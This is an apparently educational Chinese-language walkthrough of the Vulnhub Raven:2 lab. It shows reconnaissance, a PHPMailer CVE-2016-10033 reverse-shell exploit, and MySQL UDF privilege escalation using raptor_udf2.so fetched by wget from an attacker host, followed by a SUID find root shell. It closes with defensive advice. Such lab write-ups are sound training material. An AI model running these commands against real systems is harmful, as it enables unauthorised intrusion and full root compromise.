Vulnhub Raven:2
字数 1230 2025-08-27 12:33:31

Vulnhub Raven:2 渗透测试教学文档

1. 环境准备与目标发现

1.1 主机发现

使用 arp-scan 工具扫描本地网络,发现目标主机:

arp-scan -l

输出显示目标IP为 192.168.1.32,MAC地址为 00:0c:29:12:96:8f(VMware虚拟机)

1.2 端口扫描

使用 nmap 进行详细扫描:

nmap -A 192.168.1.32

扫描结果:

  • 22/tcp: OpenSSH 6.7p1
  • 80/tcp: Apache httpd 2.4.10
  • 111/tcp: rpcbind 2-4

2. Web应用信息收集

2.1 目录枚举

使用 dirb 进行目录扫描:

dirb http://192.168.1.32

发现以下重要目录:

  • /vendor/ - 包含关键信息
  • /wordpress/ - WordPress安装目录

2.2 关键文件发现

/vendor/ 目录下发现:

  1. /vendor/PATH - 包含flag1和绝对路径信息
  2. /vendor/VERSION - 显示PHPMailer版本为5.2.16
  3. PHPMailerAutoload.php - 确认使用PHPMailer组件

3. 漏洞利用

3.1 PHPMailer漏洞利用(CVE-2016-10033)

  1. 从Exploit-DB获取漏洞利用代码:https://www.exploit-db.com/exploits/40974

  2. 修改exp:

    • 添加编码声明 # -*- coding: utf-8 -*-
    • 修改目标IP和利用文件为contact.php
    • 修改后门文件名为shell.php
    • 设置反弹shell地址为攻击者IP和端口
  3. 执行exp:

python 40974.py
  1. 访问contact.php触发漏洞
  2. 在攻击机上启动监听:
nc -lvvp 8888
  1. 访问生成的shell.php获取反弹shell

3.2 获取数据库凭证

在WordPress配置文件中找到数据库凭据:

cat /var/www/html/wordpress/wp-config.php

4. 权限提升

4.1 改善shell交互

将简单shell升级为伪终端:

python -c "import pty;pty.spawn('/bin/bash')"

4.2 MySQL UDF提权

  1. 确认MySQL以root身份运行:
ps -ef | grep mysql
  1. 下载UDF提权工具:
wget http://192.168.1.30/raptor_udf2.so -P /tmp
  1. 在MySQL中执行:
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;  -- 验证函数创建
  1. 利用自定义函数提权:
select do_system('chmod u+s /usr/bin/find');
  1. 使用find命令获取root权限:
touch finn
find finn -exec "/bin/sh" \;

5. 关键知识点总结

  1. 信息收集

    • 使用arp-scan进行主机发现
    • nmap全面扫描获取服务信息
    • dirb目录枚举发现敏感文件
  2. 漏洞利用

    • PHPMailer 5.2.16存在远程代码执行漏洞
    • 利用时需要特别注意payload格式和后门文件名
  3. 权限提升

    • MySQL UDF提权技术
    • 通过设置SUID位利用find命令提权
  4. 技巧

    • 简单shell升级为伪终端的方法
    • 文件传输技巧(wget)
    • MySQL插件目录的确定方法

6. 防御建议

  1. 及时更新PHPMailer到最新版本
  2. MySQL服务不应以root身份运行
  3. 限制Web目录的文件上传和执行权限
  4. 定期检查系统上的SUID/SGID文件
  5. 禁用不必要的MySQL函数功能
Vulnhub Raven:2 渗透测试教学文档 1. 环境准备与目标发现 1.1 主机发现 使用 arp-scan 工具扫描本地网络,发现目标主机: 输出显示目标IP为 192.168.1.32 ,MAC地址为 00:0c:29:12:96:8f (VMware虚拟机) 1.2 端口扫描 使用 nmap 进行详细扫描: 扫描结果: 22/tcp: OpenSSH 6.7p1 80/tcp: Apache httpd 2.4.10 111/tcp: rpcbind 2-4 2. Web应用信息收集 2.1 目录枚举 使用 dirb 进行目录扫描: 发现以下重要目录: /vendor/ - 包含关键信息 /wordpress/ - WordPress安装目录 2.2 关键文件发现 在 /vendor/ 目录下发现: /vendor/PATH - 包含flag1和绝对路径信息 /vendor/VERSION - 显示PHPMailer版本为5.2.16 PHPMailerAutoload.php - 确认使用PHPMailer组件 3. 漏洞利用 3.1 PHPMailer漏洞利用(CVE-2016-10033) 从Exploit-DB获取漏洞利用代码:https://www.exploit-db.com/exploits/40974 修改exp: 添加编码声明 # -*- coding: utf-8 -*- 修改目标IP和利用文件为 contact.php 修改后门文件名为 shell.php 设置反弹shell地址为攻击者IP和端口 执行exp: 访问 contact.php 触发漏洞 在攻击机上启动监听: 访问生成的 shell.php 获取反弹shell 3.2 获取数据库凭证 在WordPress配置文件中找到数据库凭据: 4. 权限提升 4.1 改善shell交互 将简单shell升级为伪终端: 4.2 MySQL UDF提权 确认MySQL以root身份运行: 下载UDF提权工具: 在MySQL中执行: 利用自定义函数提权: 使用find命令获取root权限: 5. 关键知识点总结 信息收集 : 使用arp-scan进行主机发现 nmap全面扫描获取服务信息 dirb目录枚举发现敏感文件 漏洞利用 : PHPMailer 5.2.16存在远程代码执行漏洞 利用时需要特别注意payload格式和后门文件名 权限提升 : MySQL UDF提权技术 通过设置SUID位利用find命令提权 技巧 : 简单shell升级为伪终端的方法 文件传输技巧(wget) MySQL插件目录的确定方法 6. 防御建议 及时更新PHPMailer到最新版本 MySQL服务不应以root身份运行 限制Web目录的文件上传和执行权限 定期检查系统上的SUID/SGID文件 禁用不必要的MySQL函数功能